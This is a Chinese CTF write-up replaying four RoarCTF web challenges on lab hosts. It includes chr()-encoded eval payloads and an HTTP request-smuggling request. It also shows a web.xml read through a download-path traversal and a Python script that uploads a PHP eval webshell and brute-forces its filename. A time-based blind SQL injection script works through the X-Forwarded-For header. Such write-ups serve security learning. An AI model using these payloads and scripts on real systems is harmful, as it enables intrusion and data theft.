终于考完近代物理了…简单记录下这周复现的roarctf

Easy Calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
  • 有waf不能输入字母,有两个绕过方法:
    1. 利用PHP的字符串解析特性Bypass
    2. 利用http请求走私,构造畸形的http包，使前端服务器(waf)直接把数据包发给后端服务器
  • 接下来利用chr()绕过特殊字符的限制
  • payload1(利用php字符串解析特性):
    1
    calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
  • payload2(利用http请求走私):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST /calc.php?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) HTTP/1.1
    Host: node3.buuoj.cn:28773
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: track_uuid=602df192-f40e-4803-e23d-7e541f2f9612
    DNT: 1
    X-Forwarded-For: 8.8.8.8
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 3
    Content-Length: 3

    abc

    Easy Java

    对java不是特别了解，通过这题学习一点基础的知识
  • 弱口令admin:admin888 登录
  • 在登陆界面的help会访问/Download?filename=help.docx,显示java.io.FileNotFoundException:{help.docx}，可能是个文件下载的接口
  • 把GET改为POST就可以成功下载文件
  • 读取WEB-INF/web.xml
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    HTTP/1.1 200 OK
    Server: openresty
    Date: Sat, 16 Nov 2019 15:19:11 GMT
    Content-Type: application/xml
    Content-Length: 1562
    Connection: close
    Content-Disposition: attachment;filename=WEB-INF/web.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
             version="4.0">

        <welcome-file-list>
            <welcome-file>Index</welcome-file>
        </welcome-file-list>

        <servlet>
            <servlet-name>IndexController</servlet-name>
            <servlet-class>com.wm.ctf.IndexController</servlet-class>
        </servlet>
        <servlet-mapping>
            <servlet-name>IndexController</servlet-name>
            <url-pattern>/Index</url-pattern>
        </servlet-mapping>

        <servlet>
            <servlet-name>LoginController</servlet-name>
            <servlet-class>com.wm.ctf.LoginController</servlet-class>
        </servlet>
        <servlet-mapping>
            <servlet-name>LoginController</servlet-name>
            <url-pattern>/Login</url-pattern>
        </servlet-mapping>

        <servlet>
            <servlet-name>DownloadController</servlet-name>
            <servlet-class>com.wm.ctf.DownloadController</servlet-class>
        </servlet>
        <servlet-mapping>
            <servlet-name>DownloadController</servlet-name>
            <url-pattern>/Download</url-pattern>
        </servlet-mapping>

        <servlet>
            <servlet-name>FlagController</servlet-name>
            <servlet-class>com.wm.ctf.FlagController</servlet-class>
        </servlet>
        <servlet-mapping>
            <servlet-name>FlagController</servlet-name>
            <url-pattern>/Flag</url-pattern>
        </servlet-mapping>

    </web-app>
  • 直接访问/Flag 显示http500
  • 读取WEB-INF/classes/com/wm/ctf/FlagController.class
    得到base64编码后的flag

Simple Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}
  • 使用了thinkphp的上传类,查看thinkphp的代码会发现\Think\Upload类没有allowExts这一属性，所以这个限制直接可以无视
  • 前面还限制了后缀不能为php
    1
    2
    3
    if (strstr(strtolower($uploadFile['name']), ".php") ) {
               return false;
           }
  • 查看thinkphp的手册可以发现多文件上传时只需要修改前端代码，\Think\Upload类会把所有文件都上传，而后缀的限制只针对$_FILES[‘file’]。因此可以上传多个文件绕过
  • 文件上传后的名字默认由uniqid()生成，该函数是根据时间生成的，因此可以进行爆破

附上写的很烂的爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import re

def send(url,files='',proxy=''):
    if files!='' and proxy!='':
        response = requests.post(url=url,files=files,proxies=proxy)
        print(response.text)
        return response.text
    else:
        print(url)
        response = requests.post(url=url)
        if response.status_code!=404:
            print(url)
            exit(0)

def parseReq(req):
    result = re.search(r'^{\"url\":\"\\\/Public\\\/Uploads\\\/2020-02-17\\\/(.*)\.\",\"success\":1}$',req)
    filename = result.group(1)
    print(filename)
    return filename

def explode(filename1,filename2):
    url = 'http://93282c74-cf14-44a9-93ae-ff2413431a98.node3.buuoj.cn/Public/Uploads/2020-02-17/'
    proxy = {'http':'http://127.0.0.1:8080'}
    id_start = eval('0x'+filename1)
    id_end = eval('0x'+filename2)
    for i in range(id_start,id_end):
        print(str(i)+'/'+str(id_end))
        send(url+hex(i)[2:]+'.php')

url = 'http://93282c74-cf14-44a9-93ae-ff2413431a98.node3.buuoj.cn/?c=index&a=upload'
proxy = {'http':'http://127.0.0.1:8080'}
files = {'file':'aaaa','evil.php':'<?php eval($_POST[\'a\']); ?>'}
req1 = send(url,files,proxy)
files = {'file':'aaaa'}
req2 = send(url,files,proxy)
filename1 = parseReq(req1)
filename2 = parseReq(req2)
explode(filename1,filename2)

online_proxy

X-Forwarded-For头存在一个二次注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'http://node3.buuoj.cn:28126/?url=http://localhost:28126/'
dic = ",{}_-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@!$%^&*()_+-="
flag = ''

for i in range(1,80):
    print(i)
    for x in dic:
        headers = {"Cookie":"track_uuid=602df192-f40e-4803-e23d-7e541f2f9612","X-Forwarded-For":"1' and if(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),%d,1)='%s',sleep(4),null) and '1'='1"%(i,x)}
        headers2 = {"Cookie":"track_uuid=602df192-f40e-4803-e23d-7e541f2f9612","X-Forwarded-For":"123"}
        try:
            res1 = requests.get(url,headers=headers,proxies={'http':"http://127.0.0.1:8080"})
            res2 = requests.get(url,headers=headers2,timeout=4,proxies={'http':"http://127.0.0.1:8080"})
        except requests.exceptions.ReadTimeout:
            flag = flag + x
            print(flag)
            break
print(flag)